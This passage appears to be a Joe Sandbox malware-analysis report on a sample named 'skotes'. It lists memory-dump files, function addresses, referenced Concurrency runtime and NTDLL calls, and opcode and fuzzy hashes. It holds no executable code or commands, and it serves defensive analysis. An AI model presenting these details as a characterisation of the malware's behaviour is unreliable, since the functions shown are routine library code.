Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: 7032090b76408a19f913bf356eed8f4aac24f6e1f2a17cf567b457aa4d67e442
Instruction ID: ce651680bf3ccde16635135df2de739cbfa57230697ed30a7c34131da8176143
Opcode Fuzzy Hash: 7032090b76408a19f913bf356eed8f4aac24f6e1f2a17cf567b457aa4d67e442
Instruction Fuzzy Hash: 23B15FB0A00615EFDB2ADF68DD81A7AB7B8FF44300F15819DE905AB651D730BD81CB90

Function 00381602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00382CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00382D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 00381614

Part of subcall function 00382E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 00382E39
Part of subcall function 00382E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 00382EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 00381746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 003817A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 003817B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 003817ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 0038180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 0038181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 00381823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 0038183B

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: 055b09dd2747aff69d639c0ef9b13149c5da7823fe18e78c6da5337b33e031e3
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: 0E815A71E003259FCB1AEFA8C58096DB7F9FF48304B1546ADE845AB701D770AD52CB84

Function 0038EC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0038EC81

Part of subcall function 00388F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00388F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 0038ECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 0038ECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 0038ED0C

Part of subcall function 0038E7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0038E7D7
Part of subcall function 0038E7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0038E86F
Part of subcall function 0038E7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0038E879
Part of subcall function 0038E7AF: Concurrency::location::_Assign.LIBCMT ref: 0038E8AD
Part of subcall function 0038E7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0038E8B5

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: 2a1355fe9be5670b9fbc7a36e59dd3836a1e78607fcf26b501a1d9c8ec57bcec
Instruction ID: 37378727cee737b0e92cdc3fc8eaabd7d2044a67de610de0f54dcf5ab92c8291
Opcode Fuzzy Hash: 2a1355fe9be5670b9fbc7a36e59dd3836a1e78607fcf26b501a1d9c8ec57bcec
Instruction Fuzzy Hash: 32518031A00305AFCF26EF54C895BAEB775AF44710F1580A8E9067F392CB71AE09CB91

Function 0037CB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 0037CBAA

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: 3d1c3d08d5d19d3881d9f0d5509ef2bd9c01c14d91ffa29d08a91b04402e710e
Instruction ID: 8dfefb8b95f47b4be8bb62b2101bde30e4a6490898a9f6e2248c39d234e78402
Opcode Fuzzy Hash: 3d1c3d08d5d19d3881d9f0d5509ef2bd9c01c14d91ffa29d08a91b04402e710e
Instruction Fuzzy Hash: 2AB09232A2383047CA672B14BC4899E7B189B80B1170A625AE901AB3248A552D824BD4

Function 0037DD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aec9d2d1c7872bf3fc923eca886be066e0a2baa6d331b3e1bc23d6181d50190d
Instruction ID: 14244572c1753900c52048a8922afcdb5d1d3ff01d335f059c22af5692748788
Opcode Fuzzy Hash: aec9d2d1c7872bf3fc923eca886be066e0a2baa6d331b3e1bc23d6181d50190d
Instruction Fuzzy Hash: F851BF729116068BDB27CF59D8C0BAAB7F5FB58300F25856AD40AEB650D738B940CF90

Function 003926D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 003926E3

Part of subcall function 003924E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00392504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00392704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00392711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 0039275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 003927E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 003927F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 00392846

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
